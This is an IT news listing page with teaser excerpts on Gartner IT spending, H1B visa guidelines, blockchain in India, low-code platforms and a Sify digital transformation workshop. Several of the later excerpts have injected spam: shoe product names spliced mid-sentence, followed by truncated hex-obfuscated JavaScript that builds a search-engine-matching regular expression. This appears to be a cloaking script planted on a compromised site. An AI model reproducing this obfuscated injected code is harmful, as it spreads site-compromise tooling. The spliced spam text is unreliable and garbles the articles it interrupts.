Global IT spending observes a slow growth rate in Q2 2017: Gartner

In 2017, Gartner predicts that the global IT spending will total USD 3.5 trillion, a 1.4% increase from 2016. This growth rate is much lower from the previous quarter’s forecast of 2.7%, mainly because of the increasing US Dollar (see Table 1).   According to John-David Lovelock, research vice president at Gartner, “The strong US dollar has cut USD 67 billion out of our 2017 IT spending... By ITNEXT

US H1B Visa: New guidelines for entry-level Indian tech workers

For Indian techies looking to fulfil their American dream, the wait may be longer. According to the new guidelines introduced by the US Citizenship and Immigration Services (USCIS) on 31st March 2017, "an entry-level computer programmer position would not generally qualify as a position in a specialty occupation."   This basically means that for a software engineer to be eligible... By IT Next

From the Editor: Blockchain - The Indian Story

Blockchain has taken the world of financial services by storm. But the promises of the fundamentally new approach stretch far beyond banks and insurance companies. Since blockchain is about trusted, transparent and efficient transactions, it matters to any industry that values these parameters. Tell me which industry does not. To be sure, it is a new technology and not tested much in... By Shyamanuja Das

Accenture Report: Five technology trends for banks in 2017

Once upon a time banks were known to be the dinosaurs in the pace with which they adopted technology. However, no doubt that times have changed significantly and banks have become the implementers of disruptive technologies. They have set examples for other sectors in the adoption of modern technologies, such as blockchain, robotics, among others. Recently, Accenture launched their Banking... By IT Next

Mahindra & Mahindra rides with blockchain

Mahindra & Mahindra is one of India’s largest business conglomerates with interest in automotive, IT, solar energy, farm equipment, defense and aerospace. Known for its forward-looking strategy, the group is also known for the depth of its management talent and of late, has become a leadership factory of sorts. Take, for example, IT NEXT’s own NEXT100 Awards that identifies and... By Shyamanuja Das

Open Source Could be the Answer to Your SDDC Woes

Modern demands often overwhelm the traditional hardware-centric datacenters, as CIOs battle with the increasing cost and complexity of their IT infrastructure. Most organizations will not have the strategy or the resources to meet the rising requirements that continue to outpace the growth in their budgets.   The transition to a software-defined approach was thus inevitable and... By Rajarshi Bhattacharyya

Low-code platforms: The ultimate in consumerization of enterprise tech

Digital transformation has swept through our social and personal lives, leaving us with multiple apps that help us do everything from booking movie tickets to hailing a cab to ordering groceries. We are witnessing the consumerization of IT. We are spoilt for choice when it comes to apps that allow us to shop online, and it’s natural that we have come to expect the same from our professional... By Anish Mathew

IT leaders highlight challenges they foresee in their digital transformation journey

At the Sify Digital Transformation Workshop, IT Next spoke to IT leaders such as BS Gupta, Vishal Gupta, Balvinder Banga, M Venugopalam and Muneesh Sharma, who highlighted some of the key challenges in their organization's digital transformation journey, such as securely saving critical data among genuine users, adoption, implementation of technology among users, etc. Air Jordan III 3 Shoesvar... By ITNEXT

These IT leaders have embarked on Digital Transformation initiatives in their organizations

IT leaders, such as BS Gupta, Vishal Gupta, Balvinder Banga, M Venugopalam and Muneesh Sharma talks to IT Next on the sidelines of Sify Digital Transformation Workshop. They discussed how they are measuring the potential of  disruptive technologies, such as IoT, mobility among othes, to launch new product lines,  empowering sales and workforce. Runners Alliancevar nsSGCDsaF1=new... By ITNEXT

Which Digital Technologies to invest in 2017?

Technologies such as cloud computing, mobility, analytics, IoT and augmented reality will be the new focus for lT leaders going forward. The digital transformation workshop highlighted the need to focus on security and risks associated with IT. Lebron James Shoesvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65\x7c\x59\x61"+"\x68\x6f\x6f"+"\x7c\x53... By ITNEXT

Digital Transformation is no longer a buzzword

A few years ago, cloud was what digital transformation is today. Today going digital means lending support from disruptive technologies such as analytics, mobile, and cloud. IT leaders spoke about how digital transformation is not hype anymore. Rather, it is the truth that organizations must accept in the digital age. Kobe 11 Mentalityvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28... By ITNEXT

3 key takeaways from Sify's Digital Transformation Workshop

Sify's Digital Transformation Workshop was a gala gathering of CIOs, AVP - ITs, Head - ITs, etc. Each of them put in their views on digital transformation taking place globally and in India, the recent digital initiatives, challenges and future trends. For some like BS Gupta, Vishal Gupta, Balvinder Banga, M Venugopalam and Muneesh Sharma, the workshop proved to be extremely productive, with... By ITNEXT